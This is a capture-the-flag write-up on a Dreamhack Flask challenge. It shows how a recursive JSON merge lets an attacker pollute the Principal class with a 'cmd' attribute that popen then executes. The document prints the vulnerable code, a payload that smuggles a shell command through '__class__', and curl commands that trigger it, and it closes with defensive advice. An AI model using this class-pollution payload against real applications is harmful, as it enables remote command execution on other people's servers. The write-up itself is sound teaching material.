The Setup

A Flask “school members” app with a class hierarchy and a JSON-driven merge:

class Student:
    def __init__(self, name):
        self.name = name
        self.role = "student"

class Teacher(Student): ...
class SubstituteTeacher(Teacher): ...

class Principal(Teacher):
    def __init__(self, name):
        super().__init__(name)
        self.role = "principal"

    def command(self):
        command = self.cmd if hasattr(self, 'cmd') else 'echo Permission Denied'
        return f'{popen(command).read().strip()}'

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

principal = Principal("principal")     # the singleton /execute runs against

Two routes matter. /execute calls principal.command(), which runs popen(self.cmd) only if the instance has a cmd attribute. Otherwise it prints “Permission Denied”. /add_member builds a new object from user JSON, and for role == "principal" it feeds that JSON straight into merge:

if role == "principal":
    new_member = Principal(name)
    merge(data, new_member)          # user-controlled data merged onto an object

There is no cmd anywhere in normal flow. We have to create one.

Class Pollution: Python’s Prototype Pollution

JavaScript has prototype pollution via __proto__. Python has no prototypes, but merge’s recursion through getattr gives us the analogous primitive: attribute pollution reaching all the way up to the class object.

Trace merge(data, new_member) with the payload {"__class__": {"cmd": "cat flag.txt"}}:

1. k = "__class__", v = {"cmd": ...}. new_member (a Principal instance) has no __getitem__, so the first branch is skipped. It does have __class__ and v is a dict, so we recurse: merge({"cmd": ...}, getattr(new_member, "__class__")), i.e. we descend into the Principal class itself.
2. k = "cmd", v = "cat flag.txt". The Principal class has no __getitem__ and no existing cmd, and v is a string, so we fall to the else: setattr(Principal, "cmd", "cat flag.txt").

The command is now a class attribute on Principal. And the long-lived principal singleton that /execute uses is a Principal, so it inherits cmd through the class. hasattr(self, 'cmd') flips to True, and command() happily runs popen("cat flag.txt").

Exploit

Plant the class attribute:

curl -v -X POST http://host3.dreamhack.games:9149/add_member \
     -H "Content-Type: application/json" \
     -d '{"name":"Foo1","role":"principal","__class__":{"cmd":"cat flag.txt"}}'

Then trigger execution:

curl http://host3.dreamhack.games:9149/execute

{"result":"DH{REDACTED}"}

Because we polluted the class and not just our throwaway instance, the flag comes back through the server’s own principal object.

Takeaways

Any recursive merge/setattr that trusts attacker-controlled keys is a class-pollution sink. The dangerous keys aren’t just __proto__ habits carried over from JS. In Python it’s __class__, __init__, __globals__, __base__, and friends, each of which lets a merge climb out of the instance and mutate shared state seen by other objects. Reject dunder keys before merging, or build objects field-by-field from an explicit allowlist instead of blindly setattr-ing user input.